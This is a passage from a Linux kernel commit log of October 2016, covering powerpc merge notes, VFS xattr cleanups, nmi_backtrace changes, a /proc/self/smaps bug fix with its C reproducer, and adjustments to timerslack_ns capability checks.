Add support for bpf constant blinding (Naveen N. Rao) - Beginnings of upstream support for PA Semi Nemo motherboards (Darren Stevens) Fixes: - Ensure .mem(init|exit).text are within _stext/_etext (Michael Ellerman) - xmon: Don't use ld on 32-bit (Michael Ellerman) - vdso64: Use double word compare on pointers (Anton Blanchard) - powerpc/nvram: Fix an incorrect partition merge (Pan Xinhui) - powerpc: Fix usage of _PAGE_RO in hugepage (Christophe Leroy) - powerpc/mm: Update FORCE_MAX_ZONEORDER range to allow hugetlb w/4K (Aneesh Kumar K.V) - Fix memory leak in queue_hotplug_event() error path (Andrew Donnellan) - Replay hypervisor maintenance interrupt first (Nicholas Piggin) Various performance optimisations (Anton Blanchard): - Align hot loops of memset() and backwards_memcpy() - During context switch, check before setting mm_cpumask - Remove static branch prediction in atomic{, 64}_add_unless - Only disable HAVE_EFFICIENT_UNALIGNED_ACCESS on POWER7 little endian - Set default CPU type to POWER8 for little endian builds Cleanups & features: - Sparse fixes/cleanups (Daniel Axtens) - Preserve CFAR value on SLB miss caused by access to bogus address (Paul Mackerras) - Radix MMU fixups for POWER9 (Aneesh Kumar K.V) - Support for setting used_(vsr|vr|spe) in sigreturn path (for CRIU) (Simon Guo) - Optimise syscall entry for virtual, relocatable case (Nicholas Piggin) - Optimise MSR handling in exception handling (Nicholas Piggin) - Support for kexec with Radix MMU (Benjamin Herrenschmidt) - powernv EEH fixes (Russell Currey) - Suprise PCI hotplug support for powernv (Gavin Shan) - Endian/sparse fixes for powernv PCI (Gavin Shan) - Defconfig updates (Anton Blanchard) - KVM: PPC: Book3S HV: Migrate pinned pages out of CMA (Balbir Singh) - cxl: Flush PSL cache before resetting the adapter (Frederic Barrat) - cxl: replace loop with for_each_child_of_node(), remove unneeded of_node_put() (Andrew Donnellan) - Fix HV facility unavailable to use correct handler (Nicholas Piggin) - Remove unnecessary syscall trampoline (Nicholas Piggin) - fadump: Fix build break when CONFIG_PROC_VMCORE=n (Michael Ellerman) - Quieten EEH message when no adapters are found (Anton Blanchard) - powernv: Add PHB register dump debugfs handle (Russell Currey) - Use kprobe blacklist for exception handlers & asm functions (Nicholas Piggin) - Document the syscall ABI (Nicholas Piggin) - MAINTAINERS: Update cxl maintainers (Michael Neuling) - powerpc: Remove all usages of NO_IRQ (Michael Ellerman) Minor cleanups: - Andrew Donnellan, Christophe Leroy, Colin Ian King, Cyril Bur, Frederic Barrat, Pan Xinhui, PrasannaKumar Muralidharan, Rui Teng, Simon Guo" * tag 'powerpc-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: (156 commits) powerpc/bpf: Add support for bpf constant blinding powerpc/bpf: Implement support for tail calls powerpc/bpf: Introduce accessors for using the tmp local stack space powerpc/fadump: Fix build break when CONFIG_PROC_VMCORE=n powerpc: tm: Enable transactional memory (TM) lazily for userspace powerpc/tm: Add TM Unavailable Exception powerpc: Remove do_load_up_transact_{fpu,altivec} powerpc: tm: Rename transct_(*) to ck(\1)_state powerpc: tm: Always use fp_state and vr_state to store live registers selftests/powerpc: Add checks for transactional VSXs in signal contexts selftests/powerpc: Add checks for transactional VMXs in signal contexts selftests/powerpc: Add checks for transactional FPUs in signal contexts selftests/powerpc: Add checks for transactional GPRs in signal contexts selftests/powerpc: Check that signals always get delivered selftests/powerpc: Add TM tcheck helpers in C selftests/powerpc: Allow tests to extend their kill timeout selftests/powerpc: Introduce GPR asm helper header file selftests/powerpc: Move VMX stack frame macros to header file selftests/powerpc: Rework FPU stack placement macros and move to header file selftests/powerpc: Check for VSX preservation across userspace preemption ... commit fd50ecaddf8372a1d96e0daeaac0f93cf04e4d42 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:45 2016 +0200 vfs: Remove {get,set,remove}xattr inode operations These inode operations are no longer used; remove them. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro drivers/staging/lustre/lustre/llite/file.c | 3 -- drivers/staging/lustre/lustre/llite/namei.c | 6 --- drivers/staging/lustre/lustre/llite/symlink.c | 3 -- fs/9p/vfs_inode_dotl.c | 9 ----- fs/btrfs/inode.c | 12 ------ fs/ceph/dir.c | 3 -- fs/ceph/inode.c | 6 --- fs/cifs/cifsfs.c | 9 ----- fs/ecryptfs/inode.c | 9 ----- fs/ext2/file.c | 3 -- fs/ext2/namei.c | 6 --- fs/ext2/symlink.c | 6 --- fs/ext4/file.c | 3 -- fs/ext4/namei.c | 6 --- fs/ext4/symlink.c | 9 ----- fs/f2fs/file.c | 3 -- fs/f2fs/namei.c | 12 ------ fs/fuse/dir.c | 9 ----- fs/gfs2/inode.c | 9 ----- fs/hfs/inode.c | 2 - fs/hfsplus/dir.c | 3 -- fs/hfsplus/inode.c | 3 -- fs/jffs2/dir.c | 3 -- fs/jffs2/file.c | 3 -- fs/jffs2/symlink.c | 3 -- fs/jfs/file.c | 3 -- fs/jfs/namei.c | 3 -- fs/jfs/symlink.c | 6 --- fs/kernfs/dir.c | 3 -- fs/kernfs/inode.c | 3 -- fs/kernfs/symlink.c | 3 -- fs/nfs/nfs3proc.c | 6 --- fs/nfs/nfs4proc.c | 6 --- fs/ocfs2/file.c | 3 -- fs/ocfs2/namei.c | 3 -- fs/ocfs2/symlink.c | 3 -- fs/orangefs/inode.c | 3 -- fs/orangefs/namei.c | 3 -- fs/orangefs/symlink.c | 1 - fs/overlayfs/dir.c | 3 -- fs/overlayfs/inode.c | 6 --- fs/reiserfs/file.c | 3 -- fs/reiserfs/namei.c | 9 ----- fs/squashfs/inode.c | 1 - fs/squashfs/namei.c | 1 - fs/squashfs/symlink.c | 1 - fs/squashfs/xattr.h | 1 - fs/ubifs/dir.c | 3 -- fs/ubifs/file.c | 6 --- fs/xattr.c | 53 --------------------------- fs/xfs/xfs_iops.c | 15 -------- include/linux/fs.h | 5 --- include/linux/xattr.h | 4 -- mm/shmem.c | 15 -------- net/socket.c | 1 - 55 files changed, 319 deletions(-) commit 05fd007e46296afb24d15c7d589d535e5a5b9d5c Author: Paul Burton Date: Fri Oct 7 17:03:15 2016 -0700 console: don't prefer first registered if DT specifies stdout-path If a device tree specifies a preferred device for kernel console output via the stdout-path or linux,stdout-path chosen node properties or the stdout alias then the kernel ought to honor it & output the kernel console to that device. As it stands, this isn't the case. Whilst we parse the stdout-path properties & set an of_stdout variable from of_alias_scan(), and use that from of_console_check() to determine whether to add a console device as a preferred console whilst registering it, we also prefer the first registered console if no other has been selected at the time of its registration. This means that if a console other than the one the device tree selects via stdout-path is registered first, we will switch to using it & when the stdout-path console is later registered the call to add_preferred_console() via of_console_check() is too late to do anything useful. In practice this seems to mean that we switch to the dummy console device fairly early & see no further console output: Console: colour dummy device 80x25 console [tty0] enabled bootconsole [ns16550a0] disabled Fix this by not automatically preferring the first registered console if one is specified by the device tree. This allows consoles to be registered but not enabled, and once the driver for the console selected by stdout-path calls of_console_check() the driver will be added to the list of preferred consoles before any other console has been enabled. When that console is then registered via register_console() it will be enabled as expected. Link: http://lkml.kernel.org/r/20160809151937.26118-1-paul.burton@imgtec.com Signed-off-by: Paul Burton Cc: Ralf Baechle Cc: Paul Burton Cc: Tejun Heo Cc: Sergey Senozhatsky Cc: Jiri Slaby Cc: Daniel Vetter Cc: Ivan Delalande Cc: Thierry Reding Cc: Borislav Petkov Cc: Jan Kara Cc: Petr Mladek Cc: Joe Perches Cc: Greg Kroah-Hartman Cc: Rob Herring Cc: Frank Rowand Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/of/base.c | 2 ++ include/linux/console.h | 6 ++++++ kernel/printk/printk.c | 13 ++++++++++++- 3 files changed, 20 insertions(+), 1 deletion(-) commit 81243eacfa400f5f7b89f4c2323d0de9982bb0fb Author: Alexey Dobriyan Date: Fri Oct 7 17:03:12 2016 -0700 cred: simpler, 1D supplementary groups Current supplementary groups code can massively overallocate memory and is implemented in a way so that access to individual gid is done via 2D array. If number of gids is <= 32, memory allocation is more or less tolerable (140/148 bytes). But if it is not, code allocates full page (!) regardless and, what's even more fun, doesn't reuse small 32-entry array. 2D array means dependent shifts, loads and LEAs without possibility to optimize them (gid is never known at compile time). All of the above is unnecessary. Switch to the usual trailing-zero-len-array scheme. Memory is allocated with kmalloc/vmalloc() and only as much as needed. Accesses become simpler (LEA 8(gi,idx,4) or even without displacement). Maximum number of gids is 65536 which translates to 256KB+8 bytes. I think kernel can handle such allocation. On my usual desktop system with whole 9 (nine) aux groups, struct group_info shrinks from 148 bytes to 44 bytes, yay! Nice side effects: - "gi->gid[i]" is shorter than "GROUP_AT(gi, i)", less typing, - fix little mess in net/ipv4/ping.c should have been using GROUP_AT macro but this point becomes moot, - aux group allocation is persistent and should be accounted as such. Link: http://lkml.kernel.org/r/20160817201927.GA2096@p183.telecom.by Signed-off-by: Alexey Dobriyan Cc: Vasily Kulikov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/s390/kernel/compat_linux.c | 4 +- drivers/staging/lustre/lustre/ptlrpc/sec.c | 2 +- fs/nfsd/auth.c | 6 +-- fs/nfsd/nfs4state.c | 2 +- fs/proc/array.c | 2 +- include/linux/cred.h | 11 +---- kernel/groups.c | 67 ++++++++++-------------------- kernel/uid16.c | 4 +- net/ipv4/ping.c | 15 +++---- net/sunrpc/auth_generic.c | 4 +- net/sunrpc/auth_gss/gss_rpc_xdr.c | 2 +- net/sunrpc/auth_gss/svcauth_gss.c | 2 +- net/sunrpc/auth_unix.c | 4 +- net/sunrpc/svcauth_unix.c | 6 +-- 14 files changed, 46 insertions(+), 85 deletions(-) commit 954f74bf45268bcee0af21b6393c9c8acca7e075 Author: Pavel Machek Date: Fri Oct 7 17:03:09 2016 -0700 CREDITS: update Pavel's information, add GPG key, remove snail mail address Link: http://lkml.kernel.org/r/20161003082312.GA20634@amd Signed-off-by: Pavel Machek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds CREDITS | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 69474afb042337f5f189cd15de5eb49923ce20dc Author: Johan Hovold Date: Fri Oct 7 17:03:07 2016 -0700 mailmap: add Johan Hovold Add two entries to map to my primary address. Link: http://lkml.kernel.org/r/1473850348-19177-1-git-send-email-johan@kernel.org Signed-off-by: Johan Hovold Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds .mailmap | 2 ++ 1 file changed, 2 insertions(+) commit 218dd85887da3d7d08119de18e9d325fcf30d7a4 Author: Jean Delvare Date: Fri Oct 7 17:03:04 2016 -0700 .gitattributes: set git diff driver for C source code files Git can be told to apply language-specific rules when generating diffs. Enable this for C source code files (*.c and *.h) so that function names are printed right. Specifically, doing so prevents "git diff" from mistakenly considering unindented goto labels as function names. Link: http://lkml.kernel.org/r/20160907143403.1449324f@endymion Signed-off-by: Jean Delvare Cc: Peter Zijlstra Cc: Joe Perches Cc: Jonathan Corbet Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds .gitattributes | 2 ++ 1 file changed, 2 insertions(+) commit ea036230f7c604e3c90fbf57f4643bd733034af9 Author: Marcin Nowakowski Date: Fri Oct 7 17:03:01 2016 -0700 uprobes: remove function declarations from arch/{mips,s390} The declarations of arch-specific functions have been moved to a common header in commit 3820b4d2789f ('uprobes: Move function declarations out of arch'), but MIPS and S390 has added them to their own trees later. Remove the unnecessary duplicates. Link: http://lkml.kernel.org/r/1472804384-17830-1-git-send-email-marcin.nowakowski@imgtec.com Signed-off-by: Marcin Nowakowski Acked-by: Heiko Carstens Cc: Martin Schwidefsky Cc: Ralf Baechle Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/mips/include/asm/uprobes.h | 12 ------------ arch/s390/include/asm/uprobes.h | 10 ---------- 2 files changed, 22 deletions(-) commit 470164572dc2f9e76e078e08498dfe32ae2faa6f Author: Joe Perches Date: Fri Oct 7 17:02:58 2016 -0700 spelling.txt: "modeled" is spelt correctly No need to correct the correct. Link: http://lkml.kernel.org/r/1472490791.3425.38.camel@perches.com Signed-off-by: Joe Perches Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/spelling.txt | 1 - 1 file changed, 1 deletion(-) commit 6727ad9e206cc08b80d8000a4d67f8417e53539d Author: Chris Metcalf Date: Fri Oct 7 17:02:55 2016 -0700 nmi_backtrace: generate one-line reports for idle cpus When doing an nmi backtrace of many cores, most of which are idle, the output is a little overwhelming and very uninformative. Suppress messages for cpus that are idling when they are interrupted and just emit one line, "NMI backtrace for N skipped: idling at pc 0xNNN". We do this by grouping all the cpuidle code together into a new .cpuidle.text section, and then checking the address of the interrupted PC to see if it lies within that section. This commit suitably tags x86 and tile idle routines, and only adds in the minimal framework for other architectures. Link: http://lkml.kernel.org/r/1472487169-14923-5-git-send-email-cmetcalf@mellanox.com Signed-off-by: Chris Metcalf Acked-by: Peter Zijlstra (Intel) Tested-by: Peter Zijlstra (Intel) Tested-by: Daniel Thompson [arm] Tested-by: Petr Mladek Cc: Aaron Tomlin Cc: Peter Zijlstra (Intel) Cc: "Rafael J. Wysocki" Cc: Russell King Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/alpha/kernel/vmlinux.lds.S | 1 + arch/arc/kernel/vmlinux.lds.S | 1 + arch/arm/kernel/vmlinux-xip.lds.S | 1 + arch/arm/kernel/vmlinux.lds.S | 1 + arch/arm64/kernel/vmlinux.lds.S | 1 + arch/avr32/kernel/vmlinux.lds.S | 1 + arch/blackfin/kernel/vmlinux.lds.S | 1 + arch/c6x/kernel/vmlinux.lds.S | 1 + arch/cris/kernel/vmlinux.lds.S | 1 + arch/frv/kernel/vmlinux.lds.S | 1 + arch/h8300/kernel/vmlinux.lds.S | 1 + arch/hexagon/kernel/vmlinux.lds.S | 1 + arch/ia64/kernel/vmlinux.lds.S | 1 + arch/m32r/kernel/vmlinux.lds.S | 1 + arch/m68k/kernel/vmlinux-nommu.lds | 1 + arch/m68k/kernel/vmlinux-std.lds | 1 + arch/m68k/kernel/vmlinux-sun3.lds | 1 + arch/metag/kernel/vmlinux.lds.S | 1 + arch/microblaze/kernel/vmlinux.lds.S | 1 + arch/mips/kernel/vmlinux.lds.S | 1 + arch/mn10300/kernel/vmlinux.lds.S | 1 + arch/nios2/kernel/vmlinux.lds.S | 1 + arch/openrisc/kernel/vmlinux.lds.S | 1 + arch/parisc/kernel/vmlinux.lds.S | 1 + arch/powerpc/kernel/vmlinux.lds.S | 1 + arch/s390/kernel/vmlinux.lds.S | 1 + arch/score/kernel/vmlinux.lds.S | 1 + arch/sh/kernel/vmlinux.lds.S | 1 + arch/sparc/kernel/vmlinux.lds.S | 1 + arch/tile/kernel/entry.S | 2 +- arch/tile/kernel/vmlinux.lds.S | 1 + arch/um/kernel/dyn.lds.S | 1 + arch/um/kernel/uml.lds.S | 1 + arch/unicore32/kernel/vmlinux.lds.S | 1 + arch/x86/include/asm/irqflags.h | 12 ++++++++---- arch/x86/kernel/acpi/cstate.c | 2 +- arch/x86/kernel/process.c | 4 ++-- arch/x86/kernel/vmlinux.lds.S | 1 + arch/xtensa/kernel/vmlinux.lds.S | 3 +++ drivers/acpi/processor_idle.c | 5 +++-- drivers/cpuidle/driver.c | 5 +++-- drivers/idle/intel_idle.c | 4 ++-- include/asm-generic/vmlinux.lds.h | 6 ++++++ include/linux/cpu.h | 5 +++++ kernel/sched/idle.c | 13 +++++++++++-- lib/nmi_backtrace.c | 16 +++++++++++----- scripts/mod/modpost.c | 2 +- scripts/recordmcount.c | 1 + scripts/recordmcount.pl | 1 + 49 files changed, 93 insertions(+), 22 deletions(-) commit 511f8389454e55ece5115dc3bc84a0947788ff4f Author: Chris Metcalf Date: Fri Oct 7 17:02:52 2016 -0700 arch/tile: adopt the new nmi_backtrace framework Previously tile was rolling its own method of capturing backtrace data in the NMI handlers, but it was relying on running printk() from the NMI handler, which is not always safe. So adopt the nmi_backtrace model (with the new cpumask extension) instead. So we can call the nmi_backtrace code directly from the nmi handler, move the nmi_enter()/exit() into the top-level tile NMI handler. The semantics of the routine change slightly since it is now synchronous with the remote cores completing the backtraces. Previously it was asynchronous, but with protection to avoid starting a new remote backtrace if the old one was still in progress. Link: http://lkml.kernel.org/r/1472487169-14923-4-git-send-email-cmetcalf@mellanox.com Signed-off-by: Chris Metcalf Cc: Daniel Thompson [arm] Cc: Petr Mladek Cc: Aaron Tomlin Cc: Peter Zijlstra (Intel) Cc: "Rafael J. Wysocki" Cc: Russell King Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/tile/include/asm/irq.h | 5 ++-- arch/tile/kernel/pmc.c | 3 -- arch/tile/kernel/process.c | 73 +++++++++++---------------------------------- arch/tile/kernel/traps.c | 9 ++++-- 4 files changed, 27 insertions(+), 63 deletions(-) commit 677664895278267a80bda0e3b26821d60cdbebf5 Author: Chris Metcalf Date: Fri Oct 7 17:02:49 2016 -0700 nmi_backtrace: do a local dump_stack() instead of a self-NMI Currently on arm there is code that checks whether it should call dump_stack() explicitly, to avoid trying to raise an NMI when the current context is not preemptible by the backtrace IPI. Similarly, the forthcoming arch/tile support uses an IPI mechanism that does not support generating an NMI to self. Accordingly, move the code that guards this case into the generic mechanism, and invoke it unconditionally whenever we want a backtrace of the current cpu. It seems plausible that in all cases, dump_stack() will generate better information than generating a stack from the NMI handler. The register state will be missing, but that state is likely not particularly helpful in any case. Or, if we think it is helpful, we should be capturing and emitting the current register state in all cases when regs == NULL is passed to nmi_cpu_backtrace(). Link: http://lkml.kernel.org/r/1472487169-14923-3-git-send-email-cmetcalf@mellanox.com Signed-off-by: Chris Metcalf Tested-by: Daniel Thompson [arm] Reviewed-by: Petr Mladek Acked-by: Aaron Tomlin Cc: "Rafael J. Wysocki" Cc: Russell King Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/arm/kernel/smp.c | 9 --------- lib/nmi_backtrace.c | 9 +++++++++ 2 files changed, 9 insertions(+), 9 deletions(-) commit 9a01c3ed5cdb35d9004eb92510ee6ea11b4a5f16 Author: Chris Metcalf Date: Fri Oct 7 17:02:45 2016 -0700 nmi_backtrace: add more trigger_*_cpu_backtrace() methods Patch series "improvements to the nmi_backtrace code" v9. This patch series modifies the trigger_xxx_backtrace() NMI-based remote backtracing code to make it more flexible, and makes a few small improvements along the way. The motivation comes from the task isolation code, where there are scenarios where we want to be able to diagnose a case where some cpu is about to interrupt a task-isolated cpu. It can be helpful to see both where the interrupting cpu is, and also an approximation of where the cpu that is being interrupted is. The nmi_backtrace framework allows us to discover the stack of the interrupted cpu. I've tested that the change works as desired on tile, and build-tested x86, arm, mips, and sparc64. For x86 I confirmed that the generic cpuidle stuff as well as the architecture-specific routines are in the new cpuidle section. For arm, mips, and sparc I just build-tested it and made sure the generic cpuidle routines were in the new cpuidle section, but I didn't attempt to figure out which the platform-specific idle routines might be. That might be more usefully done by someone with platform experience in follow-up patches. This patch (of 4): Currently you can only request a backtrace of either all cpus, or all cpus but yourself. It can also be helpful to request a remote backtrace of a single cpu, and since we want that, the logical extension is to support a cpumask as the underlying primitive. This change modifies the existing lib/nmi_backtrace.c code to take a cpumask as its basic primitive, and modifies the linux/nmi.h code to use the new "cpumask" method instead. The existing clients of nmi_backtrace (arm and x86) are converted to using the new cpumask approach in this change. The other users of the backtracing API (sparc64 and mips) are converted to use the cpumask approach rather than the all/allbutself approach. The mips code ignored the "include_self" boolean but with this change it will now also dump a local backtrace if requested. Link: http://lkml.kernel.org/r/1472487169-14923-2-git-send-email-cmetcalf@mellanox.com Signed-off-by: Chris Metcalf Tested-by: Daniel Thompson [arm] Reviewed-by: Aaron Tomlin Reviewed-by: Petr Mladek Cc: "Rafael J. Wysocki" Cc: Russell King Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Ralf Baechle Cc: David Miller Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/arm/include/asm/irq.h | 5 +++-- arch/arm/kernel/smp.c | 4 ++-- arch/mips/include/asm/irq.h | 5 +++-- arch/mips/kernel/process.c | 11 +++++++++-- arch/sparc/include/asm/irq_64.h | 5 +++-- arch/sparc/kernel/process_64.c | 10 +++++----- arch/x86/include/asm/irq.h | 5 +++-- arch/x86/kernel/apic/hw_nmi.c | 18 +++++++++--------- include/linux/nmi.h | 31 ++++++++++++++++++++++++++----- lib/nmi_backtrace.c | 17 +++++++++-------- 10 files changed, 72 insertions(+), 39 deletions(-) commit 589a9785ee3a7cb85f1dedc3dad1c9754c691880 Author: Johannes Berg Date: Fri Oct 7 17:02:42 2016 -0700 min/max: remove sparse warnings when they're nested Currently, when min/max are nested within themselves, sparse will warn: warning: symbol '_min1' shadows an earlier one originally declared here warning: symbol '_min1' shadows an earlier one originally declared here warning: symbol '_min2' shadows an earlier one originally declared here This also immediately happens when min3() or max3() are used. Since sparse implements __COUNTER__, we can use __UNIQUE_ID() to generate unique variable names, avoiding this. Link: http://lkml.kernel.org/r/1471519773-29882-1-git-send-email-johannes@sipsolutions.net Signed-off-by: Johannes Berg Cc: Jens Axboe Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kernel.h | 48 ++++++++++++++++++++++++++++-------------------- 1 file changed, 28 insertions(+), 20 deletions(-) commit 53aeee7a86620b4dca81f6b807b37f36e7f99b09 Author: Robert Ho Date: Fri Oct 7 17:02:39 2016 -0700 Documentation/filesystems/proc.txt: add more description for maps/smaps Add some more description on the limitations for smaps/maps readings, as well as some guaruntees we can make. Link: http://lkml.kernel.org/r/1475296958-27652-2-git-send-email-robert.hu@intel.com Signed-off-by: Robert Ho Acked-by: Michal Hocko Cc: Dave Hansen Cc: Xiao Guangrong Cc: Robert Hu Cc: Oleg Nesterov Cc: Paolo Bonzini Cc: Dan Williams Cc: Gleb Natapov Cc: Marcelo Tosatti Cc: Stefan Hajnoczi Cc: Ross Zwisler Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/filesystems/proc.txt | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 855af072b6c40aeb266f4dc98fd9a6a49edf22af Author: Robert Ho Date: Fri Oct 7 17:02:36 2016 -0700 mm, proc: fix region lost in /proc/self/smaps Recently, Redhat reported that nvml test suite failed on QEMU/KVM, more detailed info please refer to: https://bugzilla.redhat.com/show_bug.cgi?id=1365721 Actually, this bug is not only for NVDIMM/DAX but also for any other file systems. This simple test case abstracted from nvml can easily reproduce this bug in common environment: -------------------------- testcase.c ----------------------------- int is_pmem_proc(const void *addr, size_t len) { const char *caddr = addr; FILE *fp; if ((fp = fopen("/proc/self/smaps", "r")) == NULL) { printf("!/proc/self/smaps"); return 0; } int retval = 0; /* assume false until proven otherwise */ char line[PROCMAXLEN]; /* for fgets() */ char *lo = NULL; /* beginning of current range in smaps file */ char *hi = NULL; /* end of current range in smaps file */ int needmm = 0; /* looking for mm flag for current range */ while (fgets(line, PROCMAXLEN, fp) != NULL) { static const char vmflags[] = "VmFlags:"; static const char mm[] = " wr"; /* check for range line */ if (sscanf(line, "%p-%p", &lo, &hi) == 2) { if (needmm) { /* last range matched, but no mm flag found */ printf("never found mm flag.\n"); break; } else if (caddr < lo) { /* never found the range for caddr */ printf("#######no match for addr %p.\n", caddr); break; } else if (caddr < hi) { /* start address is in this range */ size_t rangelen = (size_t)(hi - caddr); /* remember that matching has started */ needmm = 1; /* calculate remaining range to search for */ if (len > rangelen) { len -= rangelen; caddr += rangelen; printf("matched %zu bytes in range " "%p-%p, %zu left over.\n", rangelen, lo, hi, len); } else { len = 0; printf("matched all bytes in range " "%p-%p.\n", lo, hi); } } } else if (needmm && strncmp(line, vmflags, sizeof(vmflags) - 1) == 0) { if (strstr(&line[sizeof(vmflags) - 1], mm) != NULL) { printf("mm flag found.\n"); if (len == 0) { /* entire range matched */ retval = 1; break; } needmm = 0; /* saw what was needed */ } else { /* mm flag not set for some or all of range */ printf("range has no mm flag.\n"); break; } } } fclose(fp); printf("returning %d.\n", retval); return retval; } void *Addr; size_t Size; /* * worker -- the work each thread performs */ static void * worker(void *arg) { int *ret = (int *)arg; *ret = is_pmem_proc(Addr, Size); return NULL; } int main(int argc, char *argv[]) { if (argc < 2 || argc > 3) { printf("usage: %s file [env].\n", argv[0]); return -1; } int fd = open(argv[1], O_RDWR); struct stat stbuf; fstat(fd, &stbuf); Size = stbuf.st_size; Addr = mmap(0, stbuf.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); close(fd); pthread_t threads[NTHREAD]; int ret[NTHREAD]; /* kick off NTHREAD threads */ for (int i = 0; i < NTHREAD; i++) pthread_create(&threads[i], NULL, worker, &ret[i]); /* wait for all the threads to complete */ for (int i = 0; i < NTHREAD; i++) pthread_join(threads[i], NULL); /* verify that all the threads return the same value */ for (int i = 1; i < NTHREAD; i++) { if (ret[0] != ret[i]) { printf("Error i %d ret[0] = %d ret[i] = %d.\n", i, ret[0], ret[i]); } } printf("%d", ret[0]); return 0; } It failed as some threads can not find the memory region in "/proc/self/smaps" which is allocated in the main process It is caused by proc fs which uses 'file->version' to indicate the VMA that is the last one has already been handled by read() system call. When the next read() issues, it uses the 'version' to find the VMA, then the next VMA is what we want to handle, the related code is as follows: if (last_addr) { vma = find_vma(mm, last_addr); if (vma && (vma = m_next_vma(priv, vma))) return vma; } However, VMA will be lost if the last VMA is gone, e.g: The process VMA list is A->B->C->D CPU 0 CPU 1 read() system call handle VMA B version = B return to userspace unmap VMA B issue read() again to continue to get the region info find_vma(version) will get VMA C m_next_vma(C) will get VMA D handle D !!! VMA C is lost !!! In order to fix this bug, we make 'file->version' indicate the end address of the current VMA. m_start will then look up a vma which with vma_start < last_vm_end and moves on to the next vma if we found the same or an overlapping vma. This will guarantee that we will not miss an exclusive vma but we can still miss one if the previous vma was shrunk. This is acceptable because guaranteeing "never miss a vma" is simply not feasible. User has to cope with some inconsistencies if the file is not read in one go. [mhocko@suse.com: changelog fixes] Link: http://lkml.kernel.org/r/1475296958-27652-1-git-send-email-robert.hu@intel.com Acked-by: Dave Hansen Signed-off-by: Xiao Guangrong Signed-off-by: Robert Hu Acked-by: Michal Hocko Acked-by: Oleg Nesterov Cc: Paolo Bonzini Cc: Dan Williams Cc: Gleb Natapov Cc: Marcelo Tosatti Cc: Stefan Hajnoczi Cc: Ross Zwisler Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/task_mmu.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 4b2bd5fec007a4fd3fc82474b9199af25013de4c Author: John Stultz Date: Fri Oct 7 17:02:33 2016 -0700 proc: fix timerslack_ns CAP_SYS_NICE check when adjusting self In changing from checking ptrace_may_access(p, PTRACE_MODE_ATTACH_FSCREDS) to capable(CAP_SYS_NICE), I missed that ptrace_my_access succeeds when p == current, but the CAP_SYS_NICE doesn't. Thus while the previous commit was intended to loosen the needed privileges to modify a processes timerslack, it needlessly restricted a task modifying its own timerslack via the proc//timerslack_ns (which is permitted also via the PR_SET_TIMERSLACK method). This patch corrects this by checking if p == current before checking the CAP_SYS_NICE value. This patch applies on top of my two previous patches currently in -mm Link: http://lkml.kernel.org/r/1471906870-28624-1-git-send-email-john.stultz@linaro.org Signed-off-by: John Stultz Acked-by: Kees Cook Cc: "Serge E. Hallyn" Cc: Thomas Gleixner Cc: Arjan van de Ven Cc: Oren Laadan Cc: Ruchi Kandoi Cc: Rom Lemarchand Cc: Todd Kjos Cc: Colin Cross Cc: Nick Kralevich Cc: Dmitry Shmidt Cc: Elliott Hughes Cc: Android Kernel Team Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/base.c | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) commit 904763e1fb5eebf8249ec41a2019e5e32246df2f Author: John Stultz Date: Fri Oct 7 17:02:29 2016 -0700 proc: add LSM hook checks to /proc//timerslack_ns As requested, this patch checks the existing LSM hooks task_getscheduler/task_setscheduler when reading or modifying the task's timerslack value. Previous versions added new get/settimerslack LSM hooks, but since they checked the same PROCESS__SET/GETSCHED values as existing hooks, it was suggested we just use the existing ones. Link: http://lkml.kernel.org/r/1469132667-17377-2-git-send-email-john.stultz@linaro.org Signed-off-by: John Stultz Cc: Kees Cook Cc: "Serge E. Hallyn" Cc: Thomas Gleixner Cc: Arjan van de Ven Cc: Oren Laadan Cc: Ruchi Kandoi Cc: Rom Lemarchand Cc: Todd Kjos Cc: Colin Cross Cc: Nick Kralevich Cc: Dmitry Shmidt Cc: Elliott Hughes Cc: James Morris Cc: Android Kernel Team Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/base.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 7abbaf94049914f074306d960b0f968ffe52e59f Author: John Stultz Date: Fri Oct 7 17:02:26 2016 -0700 proc: relax /proc//timerslack_ns capability requirements When an interface to allow a task to change another tasks timerslack was first proposed, it was suggested that something greater then CAP_SYS_NICE would be needed, as a task could be delayed further then what normally could be done with nice adjustments. So CAP_SYS_PTRACE was adopted instead for what became the /proc//timerslack_ns interface. However, for Android (where this feature originates), giving the system_server CAP_SYS_PTRACE would allow it to observe and modify all tasks memory. This is considered too high a privilege level for only needing to change the timerslack. After some discussion, it was realized that a CAP_SYS_NICE process can set a task as SCHED_FIFO, so they could fork some spinning processes and set them all SCHED_FIFO 99, in effect delaying all other tasks for an infinite amount of time. So as a CAP_SYS_NICE task can already cause trouble for other tasks, using it as a required capability for accessing and modifying /proc//timerslack_ns seems sufficient. Thus, this patch loosens the capability requirements to CAP_SYS_NICE and removes CAP_SYS_PTRACE, simplifying some of the code flow as well. This is technically an ABI change, but as the feature just landed in 4.6, I suspect no one is yet using it. Link: 